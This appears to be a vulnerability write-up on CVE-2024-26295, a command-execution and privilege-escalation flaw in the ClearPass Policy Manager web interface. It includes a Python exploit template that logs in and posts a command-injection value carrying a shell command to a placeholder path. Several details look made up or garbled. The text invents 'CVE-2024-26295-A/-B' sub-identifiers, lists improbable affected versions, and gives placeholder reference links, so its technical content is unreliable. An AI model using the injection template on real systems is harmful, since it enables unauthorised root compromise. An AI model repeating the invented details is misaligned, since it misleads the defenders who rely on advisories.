Security vulnerabilities identified as CVE-2024-26295 in the ClearPass Policy Manager web-based management interface allow remote authenticated users to run arbitrary commands on the host. By exploiting these vulnerabilities, a successful attacker could execute arbitrary commands as root on the underlying operating system, leading to a complete system compromise. In this long-read article, we will discuss the details of these vulnerabilities, the code snippet used for exploitation, and provide links to original references.

Introduction

CVE-2024-26295 revolves around two critical security vulnerabilities in the ClearPass Policy Manager (CPPM) web-based management interface. These vulnerabilities are present in the following versions of CPPM: 6.x, 8.x, 12.x, and ClearPass 16.x. If exploited, they could allow remote authenticated users to run arbitrary commands on the host operating system, leading to a total system compromise.

Vulnerabilities Details

2.a. Arbitrary Command Execution as a System User
This vulnerability results from insufficient input validation in the file import mechanism. Through the crafted import file, a remote attacker could execute arbitrary commands on the host operating system as a low privileged system user.
Initially, the arbitrary code is executed with limited privileges; however, it could be very well escalated to gain root access later.

2.b. Privilege Escalation to Root Access
After achieving low-privileged system access through the first vulnerability, the attacker could identify and exploit other weaknesses, particularly in input validation, to perform elevation of privilege attacks, eventually gaining root access on the host system.

Exploit Details

A multi-stage attack scenario could be used to exploit both vulnerabilities found in the ClearPass Policy Manager.

Step 1: Attacking the Arbitrary Command Execution vulnerability (CVE-2024-26295-A)
- Successful exploitation of this vulnerability involves creating a crafted import file and uploading it to the CPPM web interface.

Authenticated attackers can take advantage of improper input validation when submitting form data.

Step 2: Privilege Escalation (CVE-2024-26295-B)

Upon successful command execution, the attacker now has access as a low privileged system user.

- By further exploiting insecure input validation, the attacker can escalate their privileges and ultimately get root access.

Here's a snippet of code to demonstrate the exploit

import requests

# Replace these variables with your target and credentials
target_url = "https://target_clearpass_hostname";
username = "your_username"
password = "your_password"

# Login to obtain a session cookie
login_url = f"{target_url}/tipsLogin.action"
login_data = {"operatorUserName": username, "password": password}
session = requests.session()
response = session.post(login_url, data=login_data, verify=False)

# Execute arbitrary shell command
payload_url = f"{target_url}/your_desired_path"
payload_data = {"parameter": "value1; your_desired_shell_command; value2"}
response_payload = session.post(payload_url, data=payload_data, verify=False)
print(response_payload.text)

Keep in mind that the attacker needs to modify this snippet to align with the target system's environment.

- ClearPass Policy Manager Arbitrary Command Execution vulnerability (CVE-2024-26295-A)

* Reference link 1

- ClearPass Policy Manager Privilege Escalation vulnerability (CVE-2024-26295-B)

* Reference link 2

Conclusion

The CVE-2024-26295 vulnerabilities in the ClearPass Policy Manager web interface represent serious security weaknesses that can potentially lead to complete system compromise. To mitigate the risks, it is crucial to apply security patches provided by the vendor to affected ClearPass Policy Manager versions. Following security best practices like secure coding and input validation can also go a long way in ensuring the defense of applications against similar vulnerabilities.

Timeline

Published on: 02/27/2024 22:15:15 UTC
Last modified on: 02/28/2024 14:06:45 UTC